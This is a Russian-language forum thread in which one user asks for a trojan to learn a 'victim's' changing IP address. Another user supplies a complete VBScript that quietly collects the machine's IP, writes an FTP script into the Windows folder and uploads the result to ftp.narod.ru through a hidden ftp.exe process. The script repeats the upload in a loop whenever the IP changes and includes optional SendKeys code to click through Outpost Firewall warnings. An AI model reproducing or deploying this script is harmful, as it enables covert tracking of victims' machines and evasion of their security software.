собсна сабж. есть ли такой троян ? допустим ип динамический, и я бы хотел быть вкурсе какой ип у моей жертвы.
тематика троев на форуме запрешена. хотя то, что тебе нужно - вовсе не трой, а обычная программа, периодически шлющая пустые сообщения от одного компьютера другому. за $ есть, бесплатных - не знаю.
vbs с возможностью обхода OutPost FireWall Pro 2009: Code: On Error Resume Next newfolderpath = "C:\WEB" 'Папка где находится скрипт login="фтп-логин" password="фтп-пасс" ftpp="ftp.narod.ru" '==================================================== ' Узнаем текущий IP и пишем его в файл '==================================================== set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator") set objService = objLocator.ConnectServer (server, "", username, password) strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE" set objEnumerator = objService.ExecQuery(strQuery) for each obj in objEnumerator if Not IsNull(obj.IPAddress) then for i=LBound(obj.IPAddress) to UBound(obj.IPAddress) GetIPaddress = obj.IPAddress(i) 'Узнаем текущий (реальный) наш IP Str = GetIPaddress next end if next FileDestination = "ip.txt" Set FSO = CreateObject("Scripting.FileSystemObject") Set Destination = FSO.CreateTextFile(FileDestination) Destination.WriteLine Str set Destination = Nothing Set FSO = Nothing set objLocator = Nothing '=============================================================================================================== 'Отправляем на фтп текущий IP 'Отсылаем на ФТП на narod.ru 'Создаем файл сценария для FTP.EXE set FSO = CreateObject("Scripting.FileSystemObject") Set WSHshell = WScript.CreateObject("WScript.Shell") Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту cScript.WriteLine "" & login & "" '- Имя пользователя cScript.WriteLine "" & password & "" '- Пароль cScript.WriteLine "drive C:" '- Выбраем диск С cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу cScript.WriteLine "binary" ' - метод передачи файлов по FTP cScript.WriteLine "PUT ip.txt"'- Отправляем IP cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru cScript.Close '- Конец записи в файл сценария ' Запускаем FTP-сценарий WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0 ' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------) 'set w=CreateObject("WScript.Shell") 'a=0 'do 'r=W.AppActivate("ftp.exe") 'if r then 'a=1 'w.SendKeys "{tab 2}" 'w.SendKeys "{enter}" 'end if 'loop until a=1 'set w=Nothing '--------------------------- Set fso = Nothing Set WSHshell = Nothing '==================================================== 'А теперь запускаем цикл проверки на изменение IP '==================================================== Const ForReading = 1 Str=1 s=2 if Str<>s then While 1 WScript.Sleep 10000 ' Сканим на изменение IP раз в 15 минут set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator") set objService = objLocator.ConnectServer (server, "", username, password) strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE" set objEnumerator = objService.ExecQuery(strQuery) for each obj in objEnumerator if Not IsNull(obj.IPAddress) then for i=LBound(obj.IPAddress) to UBound(obj.IPAddress) GetIPaddress = obj.IPAddress(i) 'Узнаем текущий (реальный) наш IP Str = GetIPaddress next end if next Set FSO = Nothing set objLocator = Nothing Set FSO = CreateObject("Scripting.FileSystemObject") Set ts = FSO.OpenTextFile("ip.txt", ForReading) s = ts.ReadLine ts.Close Set FSO = Nothing Set ts = Nothing if Str<>s then FileDestination = "ip.txt" Set FSO = CreateObject("Scripting.FileSystemObject") Set Destination = FSO.CreateTextFile(FileDestination) Destination.WriteLine Str set Destination = Nothing Set FSO = Nothing '=============================================================================================================== 'Отправляем на фтп новый IP (уже в цикле, каждые 15 минут, в случае, если IP изменился) 'Отсылаем на ФТП на narod.ru 'Создаем файл сценария для FTP.EXE set FSO = CreateObject("Scripting.FileSystemObject") Set WSHshell = WScript.CreateObject("WScript.Shell") Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту cScript.WriteLine "" & login & "" '- Имя пользователя cScript.WriteLine "" & password & "" '- Пароль cScript.WriteLine "drive C:" '- Выбраем диск С cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу cScript.WriteLine "binary" ' - метод передачи файлов по FTP cScript.WriteLine "PUT ip.txt"'- Отправляем куки от IE cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru cScript.Close '- Конец записи в файл сценария ' Запускаем FTP-сценарий WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0 ' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------) 'set w=CreateObject("WScript.Shell") 'a=0 'do 'r=W.AppActivate("ftp.exe") 'if r then 'a=1 'w.SendKeys "{tab 2}" 'w.SendKeys "{enter}" 'end if 'loop until a=1 'set w=Nothing '--------------------------- Set fso = Nothing Set WSHshell = Nothing end if Wend end if Постоянно висит в памяти и каждые 15 минут проверят не изменился ли ip, если изменился - отсылает на ftp
